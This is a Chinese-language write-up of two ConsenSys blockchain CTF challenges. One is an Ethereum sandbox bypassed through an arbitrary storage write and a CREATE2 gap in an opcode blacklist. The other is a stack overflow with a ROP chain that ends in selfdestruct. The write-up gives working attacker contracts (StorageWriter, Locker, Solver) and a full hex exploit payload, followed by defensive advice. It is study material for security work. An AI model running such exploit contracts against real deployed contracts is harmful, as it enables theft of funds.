ConsenSys两道CTF区块链题目分析
字数 1385 2025-08-22 12:22:43

ConsenSys CTF 区块链题目深度分析

题目一:Ethereum Sandbox 漏洞利用

合约概述

目标合约地址:0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a

合约包含以下关键存储变量:

  • uint256[] stor_write_what_where_gadget (STORAGE[0x0])
  • uint256[] stor_owners (STORAGE[0x1])

关键函数分析

1. write_what_where_gadget 函数

function write_what_where_gadget() public {
    require(!msg.value);
    require((msg.data.length() - 0x4) >= 0x40);
    v1200x149 = msg.data[v1200x131];
    v1200x14d = v1200x131 + 32;
    require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
    stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
    exit();
}

漏洞点:这是一个"任意写"原语,允许攻击者修改存储数组中的任意位置。

2. fun_sandbox 函数

function fun_sandbox(address varg0) public {
    // 检查调用者是否是owner
    require(v289_1); // 必须为owner
    
    // 检查目标合约字节码
    bytes memory code = address(target).code;
    for (int index = 0; index < code.length; index++) {
        require(code[index] != 0xf0); // CREATE
        require(code[index] != 0xf1); // CALL
        require(code[index] != 0xf2); // CALLCODE
        require(code[index] != 0xf4); // DELEGATECALL
        require(code[index] != 0xfa); // STATICCALL
        require(code[index] != 0xff); // SELFDESTRUCT
    }
    
    // 执行delegatecall
    address(varg0).delegatecall(...);
}

关键限制:禁止使用常见危险操作码,但未禁止0xf5(CREATE2)。

攻击步骤

  1. 获取所有权

    • 利用write_what_where_gadget函数修改stor_owners数组,将自己的地址添加为owner
  2. 绕过沙箱限制

    • 使用CREATE2操作码(0xf5)创建合约,因为它不在黑名单中
  3. 执行攻击

    • 通过fun_sandbox函数调用攻击合约

攻击合约示例

StorageWriter 合约(汇编实现)

contract StorageWriter {
    constructor() public payable {
        assembly {
            mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)
            mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
            return(0x00, 0x40)
        }
    }
}

Locker 合约

contract Locker {
    CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);
    
    constructor() public payable {
        require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);
        
        // 修改owner
        address(CTF).call(abi.encodeWithSelector(
            0x4214352d, 
            uint(address(this)), 
            uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
        ));
        
        // 调用沙箱函数
        StorageWriter locker = new StorageWriter();
        address(CTF).call(abi.encodeWithSelector(0x2918435f, locker));
        
        // 清理
        selfdestruct(tx.origin);
    }
}

题目二:堆栈溢出攻击

合约概述

目标合约地址:0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87

关键存储变量:

  • uint256 unknown (STORAGE[0x0])
  • uint256 die (STORAGE[0x20])

关键函数分析

1. die() 函数

function die() public {
    require(msg.sender == storage_20);
    selfdestruct(storage_20);
}

目标:需要将攻击者地址写入storage_20。

2. set(uint256) 函数

function set(uint256 value) public {
    storage_00 = address(value);
}

3. 0x7909947a() 函数

function 0x7909947a() public {
    memory[0x100] = 0x100;
    // 复制数据到内存
    memcpy(memory[0x90000], msg.data[0x44], msg.data.length-0x44);
    
    // 堆栈操作
    stack_push_frame();
    stack_push(irrelevant_lbl);
    stack_push(0x90000);
    stack_push(var1);
    stack_push(msg.data.length - 0x44);
    stack_push(0x00);
    
    // 实现函数
    0x7909947a_impl();
}

漏洞点:存在堆栈溢出漏洞,可以通过精心构造的输入覆盖返回地址。

攻击步骤

  1. 构造恶意payload

    • 覆盖堆栈帧指针,使其指向攻击者控制的内存区域
    • 设置伪造的返回地址指向set_impl函数
  2. 执行ROP攻击

    • 通过伪造的堆栈帧调用set_impl
    • 将攻击者地址写入storage_20
  3. 调用die()函数

    • 触发selfdestruct将资金转移到攻击者地址

攻击payload示例

7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020

攻击合约示例

contract Solver {
    constructor(bytes memory data) public payable {
        // 执行攻击
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        
        // 触发die函数
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        
        // 转移资金
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}

关键知识点总结

  1. 任意写漏洞

    • 通过不安全的存储访问模式实现存储任意修改
    • 可用于修改合约关键状态如owner地址
  2. 沙箱绕过技巧

    • 操作码黑名单的局限性
    • 利用未列入黑名单的操作码(CREATE2)执行攻击
  3. 堆栈溢出攻击

    • 通过精心构造的输入覆盖返回地址
    • 实现ROP(Return-Oriented Programming)攻击
  4. 合约交互模式

    • 使用低级call与目标合约交互
    • 处理返回值和异常
  5. 自毁合约设计

    • 攻击完成后清理痕迹
    • 资金转移的安全考虑

防御建议

  1. 输入验证

    • 严格检查所有输入参数的范围和有效性
    • 避免不安全的存储访问模式
  2. 沙箱设计

    • 采用白名单而非黑名单策略
    • 考虑所有可能的操作码变体
  3. 堆栈保护

    • 限制输入数据大小
    • 使用安全的堆栈操作模式
  4. 权限控制

    • 使用成熟的权限控制模式如OpenZeppelin的Ownable
    • 避免直接的状态变量修改
  5. 静态分析

    • 使用工具检查合约中的危险模式
    • 进行充分的测试和审计
ConsenSys CTF 区块链题目深度分析 题目一:Ethereum Sandbox 漏洞利用 合约概述 目标合约地址: 0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a 合约包含以下关键存储变量: uint256[] stor_write_what_where_gadget (STORAGE[ 0x0 ]) uint256[] stor_owners (STORAGE[ 0x1 ]) 关键函数分析 1. write_ what_ where_ gadget 函数 漏洞点 :这是一个"任意写"原语,允许攻击者修改存储数组中的任意位置。 2. fun_ sandbox 函数 关键限制 :禁止使用常见危险操作码,但未禁止 0xf5 (CREATE2)。 攻击步骤 获取所有权 : 利用 write_what_where_gadget 函数修改 stor_owners 数组,将自己的地址添加为owner 绕过沙箱限制 : 使用CREATE2操作码(0xf5)创建合约,因为它不在黑名单中 执行攻击 : 通过 fun_sandbox 函数调用攻击合约 攻击合约示例 StorageWriter 合约(汇编实现) Locker 合约 题目二:堆栈溢出攻击 合约概述 目标合约地址: 0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 关键存储变量: uint256 unknown (STORAGE[ 0x0 ]) uint256 die (STORAGE[ 0x20 ]) 关键函数分析 1. die() 函数 目标 :需要将攻击者地址写入storage_ 20。 2. set(uint256) 函数 3. 0x7909947a() 函数 漏洞点 :存在堆栈溢出漏洞,可以通过精心构造的输入覆盖返回地址。 攻击步骤 构造恶意payload : 覆盖堆栈帧指针,使其指向攻击者控制的内存区域 设置伪造的返回地址指向set_ impl函数 执行ROP攻击 : 通过伪造的堆栈帧调用set_ impl 将攻击者地址写入storage_ 20 调用die()函数 : 触发selfdestruct将资金转移到攻击者地址 攻击payload示例 攻击合约示例 关键知识点总结 任意写漏洞 : 通过不安全的存储访问模式实现存储任意修改 可用于修改合约关键状态如owner地址 沙箱绕过技巧 : 操作码黑名单的局限性 利用未列入黑名单的操作码(CREATE2)执行攻击 堆栈溢出攻击 : 通过精心构造的输入覆盖返回地址 实现ROP(Return-Oriented Programming)攻击 合约交互模式 : 使用低级call与目标合约交互 处理返回值和异常 自毁合约设计 : 攻击完成后清理痕迹 资金转移的安全考虑 防御建议 输入验证 : 严格检查所有输入参数的范围和有效性 避免不安全的存储访问模式 沙箱设计 : 采用白名单而非黑名单策略 考虑所有可能的操作码变体 堆栈保护 : 限制输入数据大小 使用安全的堆栈操作模式 权限控制 : 使用成熟的权限控制模式如OpenZeppelin的Ownable 避免直接的状态变量修改 静态分析 : 使用工具检查合约中的危险模式 进行充分的测试和审计